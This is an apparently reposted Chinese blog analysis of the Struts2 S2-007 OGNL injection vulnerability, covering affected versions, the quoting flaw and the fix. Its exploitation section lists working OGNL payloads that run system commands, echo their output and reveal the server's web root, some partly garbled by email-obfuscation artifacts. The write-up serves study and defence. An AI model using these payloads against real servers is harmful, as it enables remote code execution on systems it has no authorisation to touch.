1. 程式人生 > 其它 >[JavaWeb]Struct2-007漏洞分析

[JavaWeb]Struct2-007漏洞分析

Strut2-007

漏洞描述

Struts2-007是一個遠端程式碼執行漏洞。

影響版本

Struts 2.0.0 - Struts 2.2.3

漏洞分析

  • 當碰到validator校驗失敗的會將資料重寫後放到OverrideStack
  • 在處理時將字串兩邊同時添加了一個單引號

  • Struts2 結束標籤時,會將使用者輸入值經過 OGNL 執行並返回。如果先前 OgnlValueStack.overrides 儲存過相關欄位,則會先從 OgnlValueStack.overrides 中取出相關值,然後再通過 OGNL 執行

  • 從ognl.overrides中找加了單引號的age,再經過ognl解析。

    漏洞點,如果傳入的是'+{code}+',經過處理後就變為了''+{code}+'',再進行ognl解析,便可以被解析為程式碼,從而導致了任意程式碼執行

漏洞利用

# 彈計算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"][email protected]@getRuntime().exec("deepin-calculator"))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"][email protected]@getRuntime().exec("deepin-calculator"))+'

# 獲取絕對路徑
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#[email protected]@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#[email protected]@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

# 執行系統命令並回顯
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

漏洞修復

官方先將傳入的字串進行了轉義,再在外邊加一個雙引號,從而確保只能是一個普通的字串。